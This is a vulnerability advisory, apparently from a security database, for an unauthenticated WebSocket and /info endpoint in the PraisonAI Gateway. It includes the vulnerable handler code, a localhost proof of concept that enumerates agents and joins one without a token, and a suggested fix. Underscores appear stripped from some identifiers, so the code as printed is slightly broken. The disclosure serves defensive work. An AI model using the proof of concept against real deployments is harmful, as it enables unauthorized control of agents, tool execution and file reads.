PT-2026-53550 · Pypi · Praisonai

Publicado

2026-06-29

·

Atualizado

2026-06-29

CVSS v3.1

9.1

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Details

gateway/server.py:242 (source) -> gateway/server.py:250 (sink)
python
# source -- /info leaks all agent IDs with no auth
async def info(request):
  return JSONResponse({
    "agents": list(self. agents.keys()),
    "sessions": len(self. sessions),
    "clients": len(self. clients),
  })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket endpoint(websocket: WebSocket):
  await websocket.accept()
  client id = str(uuid.uuid4())
  self. clients[client id] = websocket
  # processes any message from any client

PoC

bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
 import asyncio, websockets, json
async def run():
  async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
    print('Connected with no auth')
    await ws.send(json.dumps({'type': 'join', 'agent id': 'assistant'}))
    print(await asyncio.wait for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
 # {"type": ...} -- server responds, connection accepted

Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth token field that is never enforced in the handler.

Suggested Fix

python
async def websocket endpoint(websocket: WebSocket):
  token = websocket.query params.get("token") or 
      websocket.headers.get("Authorization", "").removeprefix("Bearer ")
  if self. config.auth token and token != self. config.auth token:
    await websocket.close(code=4001, reason="Unauthorized")
    return
  await websocket.accept()

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-474

Produtos afetados

Praisonai